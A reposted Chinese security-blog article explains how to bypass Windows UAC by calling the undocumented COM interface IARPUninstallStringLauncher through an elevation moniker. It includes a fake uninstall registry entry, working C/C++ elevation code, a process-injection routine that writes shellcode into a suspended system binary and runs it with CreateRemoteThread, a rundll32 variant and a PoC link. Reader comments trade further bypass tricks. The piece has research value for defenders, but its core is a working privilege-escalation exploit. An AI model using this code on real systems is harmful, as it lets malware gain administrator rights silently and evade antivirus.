巧用COM接口IARPUninstallStringLauncher绕过UAC

来源:互联网 发布:复杂网络 什么专业 编辑:程序博客网 时间:2024/05/17 23:51

* 本文原创作者:ExpLife,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

最近笔者对之前利用windows卸载接口绕过UAC的研究资料进行了整理,这里指的并非Github这份代码中的模拟鼠标点击的方式,而是编码实现程序自身调用windows卸载接口从而绕过UAC的方式。

简介

细心的朋友可能会发现,通过windows的控制面板卸载程序的时候不会触发UAC框,那么其背后的原理是什么呢?主要有三点:

1.调用位于CARPUninstallStringLauncherCOM组件中IARPUninstallStringLauncher接口的LaunchUninstallStringAndWait方法来实现卸载程序。

2.获取autoelevate的IARPUninstallStringLauncher接口指针,这里实际就是将中完整性级别提升至高完整性级别,这一步在不可信的宿主程序中执行的时候会触发UAC窗口。

3.步骤2中的操作要在windows的白名单程序中执行才不会触发UAC框,哪些是白名单程序呢?位于系统目录%systemroot%下的很多exe都是白名单程序,比如说:记事本,计算器,桌面等等。

逆向分析控制面板的卸载功能

2016-10-12_1-08-40.png

首先向控制面板的已安装程序列表中添加一个测试条目,要实现这里一点只需要在注册表键

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall下添加一个子键即可.该子键导出的reg文件模版如下:

Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}]"DisplayName"="利用COM接口ARPUninstallStringLauncher绕过默认等级UAC演示示例""UninstallString"="D:\\VSProject\\ElevateUI\\Release\\ElevateUI.exe""Publisher"="ExpLife""DisplayVersion"="1.0"

该模版中各个键名的具体含义请参见上图.其中{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}这个名称大家可以根据需要替换成任意字符串。

接下来将windbg附加到桌面进程,对创建进程的API函数CreateProcessW设置断点。

2016-10-12_1-20-30.png

然后运行起来,接着在刚刚添加的测试条目上单击鼠标右键并选择右键菜单项<卸载/更改(U)>。

这时断了下来,查看一下调用堆栈

2016-10-12_1-32-02.png

可以看到,控制面板中的单击鼠标右键的卸载菜单项实际上是调用的appwiz.cpl模块中IARPUninstallStringLauncher接口的LaunchUninstallStringAndWait方法。

通过IDA加载appwiz.cpl,然后查看一下交叉引用图解

2016-10-12_2-31-50.png

接着查看一下LaunchUninstallStringAndWait这个方法的反编译代码

2016-10-12_2-33-58.png

这里IDA对于LaunchUninstallStringAndWait这个方法的几个参数识别有误.第一个参数是this指针,可以暂时不用理会,第二,第三,第四个参数的含义我们可以通过ReadUninstallStringFromRegistry这个函数的内部实现来进行推敲.该函数的功能根据函数名称字面的意思应该是从注册表中读取卸载字符串.反编译代码如下:

2016-10-13_13-09-27.png

该函数还是很容易还原的,笔者反推如下:

2016-10-13_13-14-54.png

返回上一层看看效果,是不是该函数参数的含义一目了然了!

2016-10-13_13-17-35.png

最后一个参数hWnd并没有用到,我们暂时不予理会。

逐步推敲可知LaunchUninstallStringAndWait这个方法的功能就是从注册表指定的键值中读取卸载字符串(即卸载程序的命令字符串),然后通过该卸载程序的命令字符串创建卸载进程。

2016-10-12_2-37-20.png

那么我们应该给这各个参数传什么数值呢?

我们首先断到这个方法来看看,系统传递的值是多少?

2016-10-12_14-22-23.png

通过堆栈中的数值我们可以知道,该函数的第二个参数和第四个参数系统传的是0。

第二个参数hKey不要想当然的传HKEY_CURRENT_USER,这个宏的值实际为0×80000001,根据ReadUninstallStringFromRegistry

的第一个参数的表达式(hKey != 0) – -x7FFFFFFF来看,当hKey的值为0时候, (hKey != 0) – -x7FFFFFFF的值才为0×80000001,即HKEY_CURRENT_USER.所以hKey这个参数应该填0。

第三个参数pUninstallRegKey实际上是

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall这个注册表

键下的子键的名称

第四个参数bIsModifyOrUninstall表示卸载或者更改状态对应的布尔值,填0表示卸载。

第五个参数hWnd该函数中并没有用到,所以直接填NULL.

光有LaunchUninstallStringAndWait这个方法还不够呀,这个方法并没有体现权限是如何提升的呀!

我们继续往上层回溯,根据调用堆栈的情况,我们查看一下上层函数的交叉引用图示

1.png

由于LaunchUninstallStringAndWait是通过虚函数的形式调用的,也就是说运行时动态调用的,所以静态分析的交叉引用凸显不出来。

下面我们要重点关注的就是CInstalledApp这个接口中的_CreateAppModifyProcess方法。

这个方法调用了非常多的外部方法,规模有点庞大。

2016-10-13_14-06-42.png

将该图示放大可以找到一个比较有意思的方法-CoCreateInstanceAsAdminWithCorrectBitness.

2016-10-13_14-08-21.png

这个方法其实就是用来提权,笔者将该方法反编译的代码整理如下:

2016-10-13_14-12-51.png

如果编程功底比较弱,那么你看到这段代码也可能丈二脑袋摸不着头脑,但是你通过将其编码成C/C++代码依然可以实现你想要的功能:

如果开发功底好的话,应该会知道微软官方有如下的介绍: https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx,其中有示例代码:

2.png

该示例代码与IDA反编译的代码基本等价.所以逆向与开发是相辅相成的.要重视实际编程的历练。

好了下面我们使用微软官方的工具OLEViewer查看一下appwiz.cpl这个组件的类型库.因为要调用COM组件中的接口,最直接的方法是需要导入类型库的。

2016-10-13_14-22-43.png

但是笔者在该类型库中并没有找到IARPUninstallStringLauncher这个接口的描述信息。

但是笔者在全局分支All Object下找到了如下组件描述信息

2016-10-13_14-25-15.png

那么极有可能IARPUninstallStringLauncher这个接口是供微软内部使用的.

从该描述信息中我们可以得知:

CARPUninstallStringLauncher(即ARP UninstallString Launcher)这个组件的CLSID为{FCC74B77-EC3E-4DD8-A80B-008A702075A9}.

IARPUninstallStringLauncher这个接口的IID为{F885120E-3789-4FD9-865E-DC9B4A6412D2}

与IDA中呈现出来的GUID是一致的.

2016-10-13_14-30-08.png

好了,由于找不到appwiz.cpl的类型库,所以笔者只好退而求其次,直接获取COM组件对象的地址,然后通过访问虚函数表来获取接口中方法的指针. CARPUninstallStringLauncher接口的虚表布局如下, LaunchUninstallStringAndWait的偏移为0x0C。

2016-10-12_2-21-26.png

编码实现绕过UAC的功能

核心提权代码

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv){BIND_OPTS3 bo;WCHAR  wszCLSID[50];WCHAR  wszMonikerName[300];StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0])); HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);if (FAILED(hr))return hr;memset(&bo, 0, sizeof(bo));bo.cbStruct = sizeof(bo);bo.hwnd = hwnd;bo.dwClassContext  = CLSCTX_LOCAL_SERVER;return CoGetObject(wszMonikerName, &bo, riid, ppv);}int _tmain(int argc, _TCHAR* argv[]){CLSID  clsid;IID iid;LPVOID ppv = NULL;HRESULT hr;PFN_IARPUninstallStringLauncher_LaunchUninstallStringAndWait pfn_LaunchUninstallStringAndWait = NULL;PFN_IARPUninstallStringLauncher_Release pfn_IARPUninstallStringLauncher_Release = NULL;if (IIDFromString(L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) ||IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}", &iid))return 0;CoInitialize(NULL);hr = CoCreateInstanceAsAdmin(NULL, clsid, iid, &ppv);if (SUCCEEDED(hr)){pfn_LaunchUninstallStringAndWait  = (PFN_IARPUninstallStringLauncher_LaunchUninstallStringAndWait)(*(DWORD*)(*(DWORD*)ppv + 12));pfn_IARPUninstallStringLauncher_Release = (PFN_IARPUninstallStringLauncher_Release)(*(DWORD*)(*(DWORD*)ppv + 8));if (pfn_LaunchUninstallStringAndWait && pfn_IARPUninstallStringLauncher_Release){pfn_LaunchUninstallStringAndWait((LPVOID*)ppv, 0, L"{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}", 0, NULL);pfn_IARPUninstallStringLauncher_Release((LPVOID*)ppv);}}CoUninitialize();return 0;}

调试运行,发现会弹出UAC框

2016-10-13_14-44-50.png

为什么呢?因为执行该提权代码宿主的身份是不可信的,所以我们需要想办法让这段代码在windows的白名单程序中运行.所以很直接的会想到将这段代码注入到诸如计算器,记事本,桌面等等程序中去执行,这样就不会弹出UAC框了。

将提权代码转换为shellcode并注入到白名单程序中执行

关键代码:

BOOL BypassUacWithInject(LPTSTR lpExe){HMODULE hModule = GetModuleHandle(NULL);TCHAR cAppName[MAX_PATH] = {0};STARTUPINFO si;PROCESS_INFORMATION pi;LPVOID lpMalwareBaseAddr;LPVOID lpNewVictimBaseAddr;HANDLE hThread;DWORD dwExitCode;BOOL bRet = FALSE;lpMalwareBaseAddr = g_ByPassUac;AddUninstallItem(lpExe);GetSystemDirectory(cAppName, MAX_PATH);_tcscat(cAppName, InjectTarget);ZeroMemory(&si, sizeof(si));si.cb = sizeof(si);ZeroMemory(&pi, sizeof(pi));if (CreateProcess(cAppName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,NULL, NULL,&si, &pi) == 0){return bRet;}lpNewVictimBaseAddr = VirtualAllocEx(pi.hProcess,NULL,SizeOfBypassUac,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if (lpNewVictimBaseAddr == NULL){return bRet;}WriteProcessMemory(pi.hProcess, lpNewVictimBaseAddr, (LPCVOID)lpMalwareBaseAddr, SizeOfBypassUac, NULL);hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpNewVictimBaseAddr, NULL, 0, NULL);WaitForSingleObject(pi.hThread, INFINITE);GetExitCodeProcess(pi.hProcess, &dwExitCode);TerminateProcess(pi.hProcess, 0);DeleteUninstallItem();return bRet;}

由于有注入行为,所以主流杀毒软件可能会拦截

2016-10-13_14-55-17.png

那么有没有无需注入的方法呢?当然有。

利用rundll32来加载自定义dll中导出函数

rundll32调用dll的导出函数是有特殊规定的,函数必须是如下形式:

 VOID CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);

但是笔者测试发现通过函数名称调用会报错。

2016-10-13_15-04-04.png

笔者逆向了一下rundll32.exe的实现,变相的解决了报错的问题.

这里弹出的错误框通过样式可知是MessageBoxW弹出的,通过交叉引用得到:

2016-10-13_15-17-09.png

上层的_DisplayErrorMessage是对MessageBoxW的一个简单封装,我们直接略过,我们重点来看看_InitCommandInfo这个函数的实现,顾名思义:初始化命令行信息.

2016-10-13_15-21-01.png

继续转入_FindCommandFunction这个函数.

2016-10-13_15-23-43.png

笔者动态调试跟踪发现函数名称填写正确,依然获取不到函数地址.但是之前笔者在没有安装任何杀软的系统上是可以通过名称调用的,所以笔者猜测有可能是杀毒软件的各种挂钩导致的兼容性问题所致,也可能是因为现在利用rundll32来启动的木马病毒泛滥,所以安全软件的沙箱对这个点进行了防护.这里仅仅是猜测,笔者后面如果有精力再来研究。

既然通过名称无法调用,正好上面的_FindCommandFunction这个函数表明可以通过序号调用,那我们就通过序号调用呗,笔者测试发现通过序号调用是正常的。

POC的测试效果

见百度云盘:https://pan.baidu.com/s/1eSftkp8

小结

调用ARP UninstallString Launcher组件的卸载接口,有如下特点:

①与之前的利用DLL劫持这类方法相比更加简单

②通用性更好,由于文件系统重定向的缘故,一个32程序就可以兼容x86/x64系统

③注不注入都可以

防御建议:

监视注册表中特定键值

将UAC等级开到最高,其实开到最高,也很难分辨是否存在恶意行为,因为系统的正常操作也可能出现类似的效果

文中相关POC代码已上传github,地址为:GitHub

参考资料

https://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx

https://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx

https://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html

http://bbs.pediy.com/showthread.php?t=206830&highlight=UAC

http://bbs.pediy.com/showthread.php?t=208717&highlight=UAC

https://www.greyhathacker.net/?p=796

https://github.com/hfiref0x/UACME

https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/

https://github.com/smb01/UacBypassUninstall

http://www.freebuf.com/sectool/114592.html

https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx

https://support.microsoft.com/zh-cn/kb/164787

* 本文原创作者:ExpLife,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

已有 16 条评论

  • evil7 (3级)入梦落樱满熏香,梦醒犹记四月谎 2016-10-17回复1楼

    https://github.com/ExpLife/ARPUninstallStringLauncherBypassUac/blob/master/InvokeARPUninstallStringLauncherInDll/InvokeARPUninstallStringLauncherInDll.cpp#L66
    去看了下repo项目,extern "C" 是不是手抖了?还是我想多了 ⁄(⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄
    这个是c++项目吧,不强调C编译试试能不能行呗。
    取自参考资料最后一条 https://support.microsoft.com/zh-cn/kb/164787

    亮了(1)
    • ExpLife (2级) 2016-10-17回复

      @ evil7  这里加入extern "C"通常是防止C++编译器进行名称重组或者名称粉碎… 但是这份代码里面不设置这种情况,所以这里的extern "C"可加可不加… 另外一种防止名称重组的方式就是 https://support.microsoft.com/zh-cn/kb/164787这里所说的使用def文件

      亮了(0)
  • XXXX 2016-10-17回复2楼

    rundll32是可以直接调用函数的,是不是函数没导出?

    亮了(0)
    • ExpLife (2级) 2016-10-17回复

      @ XXXX

      对rundll32是可以直接调用函数,这里我判断失误了,我看了一眼IDA中导出表EXPORT窗口中显示的BypassUac(x,x,x,x)想当然的把导出函数名称弄成了BypassUac,应该再往里跟一层就能看到真正的导出函数名称了即_BypassUac@16

      亮了(0)
  • xxx 2016-10-17回复3楼

    这个方法我之前就发现了,但是被楼主发出来了,估计又要补了,其实还有几种利用方式。。。。。。

    亮了(0)
    • ExpLife (2级) 2016-10-17回复

      @ xxx 补估计不会补,14年mj就提到过这个点,去年12月有分析文,当时笔者没给出代码… 利用方法是还有几种 :evil:

      亮了(1)
      • xxx 2016-10-18回复

        @ ExpLife  以前的过uac无外乎使用dll劫持达到目的,或者利用系统白名单程序,但是慢慢的发现这些方法在新版本都不好用了,现在好的方法就是利用com组件了,能过uac的com组件有好几个,这种方式一旦大量使用了,微软肯定不会看着不管的。再加上系统判断发起提权程序的机制太弱智了,导致任意程序就可以伪装系统进程而绕过uac弹框。

        亮了(0)
    • XXXX 2016-10-18回复

      @ xxx 最好用的现在肯定是老外说fileless那个,一句REG ADD搞定,还是别玩的太疯了,卡巴把以前DLL劫持那个都猥琐掉了,相当长一段时间遇见卡巴都是没法过UAC的,多痛苦

      亮了(0)
  • 康巨炮 2016-10-17回复4楼

    同意一楼的看法。用rundll32运行的dll必须满足_stdcall的调用规定,这会导致导出函数名称末尾被加上@16,所以在运行rundll32时函数名写成BypassUac是找不到该d导出函数的

    亮了(0)
    • ExpLife (2级) 2016-10-17回复

      @ 康巨炮

      你说的是对的,这里我判断失误了,我看了一眼IDA中导出表EXPORT窗口中显示的BypassUac(x,x,x,x)想当然的把导出函数名称弄成了BypassUac,应该再往里跟一层就能看到真正的导出函数名称了即_BypassUac@16:evil:

      亮了(0)
  • cwg2552298 (6级)Follow my own course 2016-10-17回复5楼

    :sad: 就看懂了“绕过UAC”这几个字

    亮了(2)
    • ExpLife (2级) 2016-10-17回复

      @ cwg2552298  :?:

      亮了(0)
  • 233 2016-10-18回复6楼

    win10不能用了吧。。

    亮了(0)
    • ExpLife (2级) 2016-10-18回复

      @ 233 win10可用

      亮了(0)
  • 看雪网友 2016-10-18回复7楼

    请问楼主和看雪的“安于此生”是同一人吗?

    亮了(0)
    • ExpLife (2级) 2016-10-18回复

      @ 看雪网友 :evil: 你猜……

0 0
原创粉丝点击